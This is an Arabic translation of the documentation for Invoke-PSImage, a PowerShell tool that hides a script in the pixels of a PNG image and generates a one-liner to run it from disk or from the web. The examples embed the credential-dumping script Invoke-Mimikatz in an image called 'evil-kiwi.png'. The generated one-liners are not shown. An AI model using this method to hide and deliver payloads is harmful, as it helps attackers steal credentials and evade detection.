
يقوم بتشفير سكربت باورشيل في بكسلات ملف PNG ويولد سطرًا واحدًا للتنفيذ
يقوم بترميز سكريبت PowerShell في البكسلات (نقاط الصورة) لملف PNG ويُنشئ أمرًا سطرًا واحدًا للتنفيذ
يأخذ Invoke-PSImage سكريبت PowerShell ويقوم بترميز بايتات السكريبت في البكسلات الخاصة بصورة PNG. ويُنشئ أمرًا سطرًا واحدًا للتنفيذ سواء من ملف أو من الويب.
يمكنه إما إنشاء صورة جديدة باستخدام بيانات الحمولة فقط، أو يمكنه تضمين الحمولة في البايتات الأقل أهمية (Least Significant Bytes) لصورة موجودة مسبقًا بحيث تبدو وكأنها صورة حقيقية. يتم حفظ الصورة بصيغة PNG، ويمكن ضغطها بدون فقدان (lossless) دون التأثير على القدرة على تنفيذ الحمولة لأن البيانات مخزنة في الألوان نفسها. عند إنشاء صور جديدة، يتم في الواقع ضغط سكريبتات PowerShell العادية بشكل كبير، وعادةً ما ينتج ملف PNG بحجم يبلغ حوالي 50% من حجم السكريبت الأصلي.
باستخدام طريقة التضمين (Embed)، يتم استخدام البتات الأقل أهمية الأربعة (4 Least Significant Bits) لقيمتي لون في كل بكسل لحمل الحمولة. ستتأثر جودة الصورة نتيجة لذلك، لكنها تظل تبدو مقبولة. يمكن قبول معظم أنواع الصور كمدخل، لكن الناتج سيكون دائمًا بصيغة PNG لأنه يحتاج إلى أن يكون بدون فقدان. يتم استخدام كل بكسل من الصورة لحمل بايت واحد من السكريبت، لذا ستحتاج إلى صورة تحتوي على عدد بكسلات على الأقل بعدد بايتات السكريبت الخاص بك. هذا أمر سهل نسبيًا – على سبيل المثال، سكريبت Invoke-Mimikatz يتناسب مع صورة بحجم 1920×1200.
-Script [مسار الملف] المسار إلى السكريبت المراد تضمينه في الصورة.
-Out [مسار الملف] الملف الذي سيتم حفظ الصورة الناتجة فيه (ستكون الصورة بصيغة PNG).
-Image [مسار الملف] الصورة التي سيتم تضمين السكريبت فيها. (اختياري)
-WebRequest إخراج أمر لقراءة الصورة من الويب باستخدام Net.WebClient. ستحتاج إلى استضافة الصورة وإدراج الرابط في الأمر.
-PictureBox إخراج أمر لقراءة الصورة من الويب باستخدام System.Windows.Forms.PictureBox. ستحتاج إلى استضافة الصورة وإدراج الرابط في الأمر.
إنشاء صورة تحتوي على سكريبت "Invoke-Mimikatz.ps1" مضمنًا فيها وإخراج أمر سطر واحد للتنفيذ من القرص:
PS>Import-Module .\Invoke-PSImage.ps1
PS>Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Out .\evil-kiwi.png -Image .\kiwi.jpg
[Oneliner to execute from a file]
إنشاء صورة تحتوي على سكريبت "Invoke-Mimikatz.ps1" مضمنًا فيها وإخراج أمر سطر واحد للتنفيذ من الويب (لا يزال عليك استضافة الصورة وتعديل الرابط):
PS>Import-Module .\Invoke-PSImage.ps1
PS>Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Out .\evil-kiwi.png -Image .\kiwi.jpg -WebRequest
[Oneliner to execute from the web]
تنفيذ صورة مستضافة على الويب:
